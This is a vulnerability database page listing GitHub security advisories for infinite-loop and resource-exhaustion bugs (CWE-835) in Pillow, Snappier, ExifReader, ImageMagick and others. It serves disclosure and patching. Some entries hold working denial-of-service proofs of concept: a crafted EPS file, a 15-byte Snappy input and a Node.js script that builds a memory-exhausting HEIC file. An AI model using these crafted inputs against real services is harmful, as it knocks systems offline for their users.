Common Weakness Enumeration

CWE-835

Allowed

Loop with Unreachable Exit Condition ('Infinite Loop')

Abstraction: Base · Status: Incomplete

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

1253 vulnerabilities reference this CWE, most recent first.

GHSA-PG7V-JWJ7-P798

Vulnerability from github – Published: 2026-07-20 23:11 – Updated: 2026-07-20 23:11
VLAI
Summary
Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service
Details

Summary

Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.

The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.

Confirmed affected versions: Pillow 12.0.0 through 12.2.0.

Details

The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.

Relevant code:

elif bytes_mv[:14] == b"%%BeginBinary:":
    bytecount = int(byte_arr[14:bytes_read])
    self.fp.seek(bytecount, os.SEEK_CUR)

There is no validation that bytecount is non-negative.

If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.

In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.

PoC

Save the following content as pillow_eps_beginbinary_dos.eps:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF

Then run:

python -m pip install "Pillow==12.2.0"

python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY

Expected behavior: Pillow should reject the malformed EPS file with a parser exception.

Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.

The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:

LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94

Impact

This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().

This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.

Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T23:11:51Z",
    "nvd_published_at": "2026-07-14T16:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPillow\u0027s EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.\n\nThe issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.\n\nConfirmed affected versions: Pillow 12.0.0 through 12.2.0.\n\n### Details\n\nThe issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.\n\nRelevant code:\n\n    elif bytes_mv[:14] == b\"%%BeginBinary:\":\n        bytecount = int(byte_arr[14:bytes_read])\n        self.fp.seek(bytecount, os.SEEK_CUR)\n\nThere is no validation that bytecount is non-negative.\n\nIf an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.\n\nIn local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.\n\n### PoC\n\nSave the following content as pillow_eps_beginbinary_dos.eps:\n\n    %!PS-Adobe-3.0 EPSF-3.0\n    %%BoundingBox: 0 0 1 1\n    %%EndComments\n    % dummy comment after transition\n    %%BeginBinary:-18\n    %%EOF\n\nThen run:\n\n    python -m pip install \"Pillow==12.2.0\"\n\n    python - \u003c\u003c\u0027PY\u0027\n    from PIL import Image\n    Image.open(\"pillow_eps_beginbinary_dos.eps\")\n    PY\n\nExpected behavior: Pillow should reject the malformed EPS file with a parser exception.\n\nActual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.\n\nThe loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:\n\n    LINE b\u0027%%BeginBinary:-18\u0027 pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b\u0027%%BeginBinary:-18\u0027 pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b\u0027%%BeginBinary:-18\u0027 pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n\n### Impact\n\nThis is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().\n\nThis can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.\n\nSuggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).",
  "id": "GHSA-pg7v-jwj7-p798",
  "modified": "2026-07-20T23:11:51Z",
  "published": "2026-07-20T23:11:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59203"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/9708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service"
}

GHSA-PGGP-6C3X-2XMX

Vulnerability from github – Published: 2026-05-06 20:53 – Updated: 2026-05-13 16:41
VLAI
Summary
Snappier has an infinite loop during SnappyStream decompression with malformed framed input
Details

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Snappier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:53:23Z",
    "nvd_published_at": "2026-05-12T22:16:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.\n\n### Details\nThe hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.\n\n### PoC\n```csharp\nusing System.IO.Compression;\nusing Snappier;\n\nbyte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };\nusing var src = new MemoryStream(data);\nusing var snap = new SnappyStream(src, CompressionMode.Decompress);\nusing var dst = new MemoryStream();\nsnap.CopyTo(dst);   // never returns\n```\n\n### Impact\nA caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can\u0027t recover (no exception is thrown).",
  "id": "GHSA-pggp-6c3x-2xmx",
  "modified": "2026-05-13T16:41:52Z",
  "published": "2026-05-06T20:53:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44302"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/brantburnett/Snappier"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Snappier has an infinite loop during SnappyStream decompression with malformed framed input"
}

GHSA-PH5G-XQG4-3V7H

Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2022-05-24 17:30
VLAI
Details

The BASS Audio Library 2.4.14 under Windows is prone to a BASS_StreamCreateFile Denial of Service vulnerability (infinite loop) via a crafted .mp3 file. This weakness could allow attackers to consume excessive CPU and the application becomes unresponsive.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-18796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-16T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "The BASS Audio Library 2.4.14 under Windows is prone to a BASS_StreamCreateFile Denial of Service vulnerability (infinite loop) via a crafted .mp3 file. This weakness could allow attackers to consume excessive CPU and the application becomes unresponsive.",
  "id": "GHSA-ph5g-xqg4-3v7h",
  "modified": "2022-05-24T17:30:49Z",
  "published": "2022-05-24T17:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/staufnic/CVE/tree/master/CVE-2019-18796"
    },
    {
      "type": "WEB",
      "url": "http://www.un4seen.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PHPV-FW3W-7X5H

Vulnerability from github – Published: 2026-10-01 12:31 – Updated: 2026-10-01 12:31
VLAI
Details

In JetBrains YouTrack before 2026.2.19422 doS attack was possible via crafted PSD attachments

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-103492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T10:17:14Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains YouTrack before 2026.2.19422 doS attack was possible via crafted PSD attachments",
  "id": "GHSA-phpv-fw3w-7x5h",
  "modified": "2026-10-01T12:31:12Z",
  "published": "2026-10-01T12:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103492"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PJ96-35FP-CFCC

Vulnerability from github – Published: 2026-09-17 16:30 – Updated: 2026-09-17 16:30
VLAI
Summary
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Details

Summary

ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

  • npm package: exifreader
  • Version: 4.41.0
  • Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

Field Controls
offsetSize Bytes per extent offset
lengthSize Bytes per extent length
baseOffsetSize Bytes per item base offset
indexSize Bytes per extent index

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

for (let j = 0; j < item.extentCount; j++) {
    const extent = {};
    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0
    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0
    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0
    item.extents.push(extent);                      // allocates unconditionally
}

When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:

const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) {
    return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
    return [(n >>> 8) & 255, n & 255];
}
function str(s) {
    return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
    return [...u32be(8 + content.length), ...str(type), ...content];
}

const ITEMS = 10000;
const EXTENTS = 65535;

const ftyp = box('ftyp', [
    ...str('heic'),
    ...u32be(0),
    ...str('mif1'),
    0, 0, 0, 0,
]);

const ilocPayload = [
    0, 0, 0, 0,
    0, 0,
    ...u16be(ITEMS),
];

for (let i = 0; i < ITEMS; i++) {
    ilocPayload.push(...u16be(i + 1));
    ilocPayload.push(...u16be(0));
    ilocPayload.push(...u16be(EXTENTS));
}

const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);

console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);

const start = Date.now();
const timeout = setTimeout(() => {
    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
    process.exit(1);
}, 30000);

try {
    ExifReader.load(data.buffer);
    clearTimeout(timeout);
    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
    clearTimeout(timeout);
    console.log(`Error: ${e.message}`);
}

Scaled test results

Run the above with different ITEMS values:

Items File size Extent objects Parse time Heap growth
1 58 bytes 65,535 0.03s +4 MB
5 82 bytes 327,675 0.17s +16 MB
100 652 bytes 6,553,500 1.74s +401 MB
256 1,588 bytes 16,776,960 ~8s OOM crash
10000 60,052 bytes 655,350,000 - OOM crash (4 GB+)
image

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

const MAX_EXTENTS_PER_ITEM = 10000;

for (let j = 0; j < item.extentCount; j++) {
    if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
        break;
    }
    // ... existing code ...
}

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
    // Fields are absent per spec; nothing meaningful to read
    // Still advance offset if extentCount > 0 to maintain correctness
    continue;
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.41.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "exifreader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.41.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T16:30:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount \u00d7 extentCount` (65535 \u00d7 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.41.0`\n- Affected formats: HEIC, AVIF (ISO-BMFF container)\n\n## Root cause\n\n**File:** `src/image-header-iso-bmff-iloc.js`, lines 79\u2013116, function `getItems()`.\n\nThe iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0\u201315):\n\n| Field | Controls |\n|-------|----------|\n| `offsetSize` | Bytes per extent offset |\n| `lengthSize` | Bytes per extent length |\n| `baseOffsetSize` | Bytes per item base offset |\n| `indexSize` | Bytes per extent index |\n\nThe code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:\n\n```javascript\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    const extent = {};\n    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);\n    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0\n    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);\n    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0\n    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);\n    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0\n    item.extents.push(extent);                      // allocates unconditionally\n}\n```\nWhen all four size fields are zero (a valid value per the ISO-BMFF specification, meaning \"field not present\"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.\n\n## Reproduction\n\nSave the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:\n\n```javascript\nconst fs = require(\u0027fs\u0027);\nconst ExifReader = require(\u0027../ExifReader-4.41.0/dist/exif-reader.js\u0027);\n\nfunction u32be(n) {\n    return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction u16be(n) {\n    return [(n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction str(s) {\n    return Array.from(Buffer.from(s, \u0027ascii\u0027));\n}\nfunction box(type, content) {\n    return [...u32be(8 + content.length), ...str(type), ...content];\n}\n\nconst ITEMS = 10000;\nconst EXTENTS = 65535;\n\nconst ftyp = box(\u0027ftyp\u0027, [\n    ...str(\u0027heic\u0027),\n    ...u32be(0),\n    ...str(\u0027mif1\u0027),\n    0, 0, 0, 0,\n]);\n\nconst ilocPayload = [\n    0, 0, 0, 0,\n    0, 0,\n    ...u16be(ITEMS),\n];\n\nfor (let i = 0; i \u003c ITEMS; i++) {\n    ilocPayload.push(...u16be(i + 1));\n    ilocPayload.push(...u16be(0));\n    ilocPayload.push(...u16be(EXTENTS));\n}\n\nconst iloc = box(\u0027iloc\u0027, ilocPayload);\nconst meta = box(\u0027meta\u0027, [0, 0, 0, 0, ...iloc]);\nconst data = Uint8Array.from([...ftyp, ...meta]);\n\nfs.writeFileSync(\u0027/tmp/poc_iloc_dos.heic\u0027, data);\n\nconsole.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);\n\nconst start = Date.now();\nconst timeout = setTimeout(() =\u003e {\n    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);\n    process.exit(1);\n}, 30000);\n\ntry {\n    ExifReader.load(data.buffer);\n    clearTimeout(timeout);\n    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);\n} catch (e) {\n    clearTimeout(timeout);\n    console.log(`Error: ${e.message}`);\n}\n\n```\n\n### Scaled test results\nRun the above with different ITEMS values:\n\n| Items | File size | Extent objects | Parse time | Heap growth |\n|-------|-----------|---------------|------------|-------------|\n| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |\n| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |\n| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |\n| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |\n| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |\n\u003cimg width=\"1839\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02\" /\u003e\n\n\n## Expected behavior\n\nA zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:\n1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or\n2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).\n\n## Security impact\n\nThis is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.\n\n**Note:** The impact is established using ExifReader\u0027s existing distributed (`dist/exif-reader.js`) code.\n\n## Suggested fix\n\nIn `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:\n\n```javascript\nconst MAX_EXTENTS_PER_ITEM = 10000;\n\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    if (item.extents.length \u003e= MAX_EXTENTS_PER_ITEM) {\n        break;\n    }\n    // ... existing code ...\n}\n```\n\nAlternatively (or additionally), skip the inner loop when all extent field sizes are zero:\n\n```javascript\nif (sizes.item.extent.extentOffset === 0 \u0026\u0026 sizes.item.extent.extentLength === 0) {\n    // Fields are absent per spec; nothing meaningful to read\n    // Still advance offset if extentCount \u003e 0 to maintain correctness\n    continue;\n}\n```",
  "id": "GHSA-pj96-35fp-cfcc",
  "modified": "2026-09-17T16:30:00Z",
  "published": "2026-09-17T16:30:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattiasw/ExifReader"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion"
}

GHSA-PJPR-V6JJ-RJWM

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2025-04-20 03:41
VLAI
Details

The ExifImageFile::readImage function in ExifImageFileRead.cpp in OpenExif 2.1.4 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted jpg file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-11118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-31T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "The ExifImageFile::readImage function in ExifImageFileRead.cpp in OpenExif 2.1.4 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted jpg file.",
  "id": "GHSA-pjpr-v6jj-rjwm",
  "modified": "2025-04-20T03:41:40Z",
  "published": "2022-05-13T01:42:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11118"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/openexif/bugs/18"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Jul/77"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PJW5-52CC-55WV

Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2025-04-20 03:50
VLAI
Details

In ImageMagick 7.0.7-12 Q16, an infinite loop vulnerability was found in the function ReadPSDChannelZip in coders/psd.c, which allows attackers to cause a denial of service (CPU exhaustion) via a crafted psd image file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-17681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-14T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "In ImageMagick 7.0.7-12 Q16, an infinite loop vulnerability was found in the function ReadPSDChannelZip in coders/psd.c, which allows attackers to cause a denial of service (CPU exhaustion) via a crafted psd image file.",
  "id": "GHSA-pjw5-52cc-55wv",
  "modified": "2025-04-20T03:50:00Z",
  "published": "2022-05-13T01:23:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17681"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/issues/869"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/08/msg00030.html"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3681-1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102206"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM23-X64Q-P9F3

Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25
VLAI
Details

The Linux kernel before 2.6.37 does not properly implement a certain clock-update optimization, which allows local users to cause a denial of service (system hang) via an application that executes code in a loop.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-4621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-05-17T11:00:00Z",
    "severity": "MODERATE"
  },
